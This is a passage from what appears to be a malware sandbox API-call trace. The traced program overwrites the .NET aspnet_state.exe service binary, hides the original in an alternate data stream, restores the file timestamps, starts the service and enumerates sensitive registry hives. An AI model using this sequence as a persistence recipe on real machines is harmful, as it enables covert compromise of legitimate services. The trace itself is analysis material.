lpMultiByteStr=0x1de5ea0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe", lpUsedDefaultChar=0x0) returned 64 [0249.570] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5f28 [0249.570] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5ea0) returned 1 [0249.570] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d630 [0249.570] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d358 [0249.570] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.570] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5f28) returned 1 [0249.571] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e470) returned 1 [0249.571] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d458) returned 1 [0249.571] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d678) returned 1 [0249.571] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0249.571] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d378) returned 1 [0249.571] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d660) returned 1 [0249.571] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d660 [0249.571] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d378 [0249.571] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5f28 [0249.571] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5ea0) returned 1 [0249.571] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d358) returned 1 [0249.571] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d630) returned 1 [0249.571] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0249.571] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.571] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0249.571] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe", cbData=0x41 | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe") returned 0x0 [0249.571] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5ea0) returned 1 [0249.571] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5fb0) returned 1 [0249.571] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="aspnet_state", dwDesiredAccess=0x2) returned 0x5d6df8 [0249.633] ChangeServiceConfigW (in: hService=0x5d6df8, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0249.937] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.937] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0249.937] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d368) returned 1 [0249.937] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d648) returned 1 [0249.937] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5f28) returned 1 [0249.937] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d378) returned 1 [0249.937] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d660) returned 1 [0249.937] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.938] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.938] RegCloseKey (hKey=0x154) returned 0x0 [0249.938] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0249.938] RegCloseKey (hKey=0xc8) returned 0x0 [0249.938] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de43c0) returned 1 [0249.938] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0249.938] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e470 [0249.938] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0249.938] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet_state.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x571c1000, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0xc4b0)) returned 1 [0249.939] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet_state.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0249.940] SetFileTime (hFile=0xc8, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0249.940] GetFileSize (in: hFile=0xc8, lpFileSizeHigh=0x18fc18 | out: lpFileSizeHigh=0x18fc18*=0x0) returned 0xc4b0 [0249.940] SetFilePointer (in: hFile=0xc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc24*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fc24*=0) returned 0x0 [0249.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc4c0) returned 0x1de6e98 [0249.940] ReadFile (in: hFile=0xc8, lpBuffer=0x1de6e98, nNumberOfBytesToRead=0xc4b0, lpNumberOfBytesRead=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1de6e98*, lpNumberOfBytesRead=0x18fc58*=0xc4b0, lpOverlapped=0x0) returned 1 [0249.943] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc4c0) returned 0x1df3360 [0249.943] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0249.945] SetFilePointer (in: hFile=0xc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fc48*=0) returned 0x0 [0249.945] WriteFile (in: hFile=0xc8, lpBuffer=0x1e00ea0*, nNumberOfBytesToWrite=0x27000, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1e00ea0*, lpNumberOfBytesWritten=0x18fc58*=0x27000, lpOverlapped=0x0) returned 1 [0249.947] SetEndOfFile (hFile=0xc8) returned 1 [0249.948] GetFileTime (in: hFile=0xc8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c*(dwLowDateTime=0x82c97e00, dwHighDateTime=0x1d0aa90)) returned 1 [0249.948] FileTimeToSystemTime (in: lpFileTime=0x18fc6c, lpSystemTime=0x18fc98 | out: lpSystemTime=0x18fc98) returned 1 [0249.948] SystemTimeToFileTime (in: lpSystemTime=0x18fc98, lpFileTime=0x18fc6c | out: lpFileTime=0x18fc6c) returned 1 [0249.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0249.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0249.948] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0249.948] NtClose (Handle=0xc8) returned 0x0 [0249.948] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet_state.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x58de10, ftCreationTime.dwLowDateTime=0x1, ftCreationTime.dwHighDateTime=0x58e8c0, ftLastAccessTime.dwLowDateTime=0x18fc0c, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x18fcc0)) returned 0 [0249.948] GetLastError () returned 0x2 [0249.948] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet_state.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0249.949] SetFileTime (hFile=0xc8, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0249.949] WriteFile (in: hFile=0xc8, lpBuffer=0x1df3360*, nNumberOfBytesToWrite=0xc4b0, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1df3360*, lpNumberOfBytesWritten=0x18fc58*=0xc4b0, lpOverlapped=0x0) returned 1 [0249.950] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0249.950] SetFileTime (hFile=0xc8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c) returned 1 [0249.951] NtClose (Handle=0xc8) returned 0x0 [0249.951] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="aspnet_state", dwDesiredAccess=0x10) returned 0x5d6d08 [0249.951] StartServiceW (hService=0x5d6d08, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0251.081] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0251.083] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0251.083] GetLastError () returned 0x6 [0251.083] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1df3360) returned 1 [0251.084] CryptAcquireContextW (in: phProv=0x18fc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc2c*=0x5d3ac0) returned 1 [0251.084] CryptGenRandom (in: hProv=0x5d3ac0, dwLen=0x4, pbBuffer=0x18fc40 | out: pbBuffer=0x18fc40) returned 1 [0251.085] CryptReleaseContext (hProv=0x5d3ac0, dwFlags=0x0) returned 1 [0251.085] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SNMPTRAP", dwDesiredAccess=0x20) returned 0x5d6df8 [0251.085] ControlService (in: hService=0x5d6df8, dwControl=0x1, lpServiceStatus=0x18fb90 | out: lpServiceStatus=0x18fb90*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0251.085] GetLastError () returned 0x426 [0251.085] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0251.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0251.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de43c0 [0251.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0251.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x280) returned 0x1dd29e0 [0251.086] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0251.086] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0251.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1de4450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0251.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.086] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.086] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.086] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.086] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0251.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0251.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.086] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.086] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.086] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.086] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0251.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0251.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.086] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.087] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0251.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0251.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.087] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.087] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0251.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0251.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.087] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.087] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0251.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0251.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.087] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.087] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0251.087] RegCloseKey (hKey=0x80000002) returned 0x0 [0251.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0251.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1de4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0251.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.088] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.088] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.088] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0251.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1de4768, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0251.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.088] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.088] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.088] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0251.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0251.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1de4450, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0251.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.088] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.088] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.088] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0251.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1de4768, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0251.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.089] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.089] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0251.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0251.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.089] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.089] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0251.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, 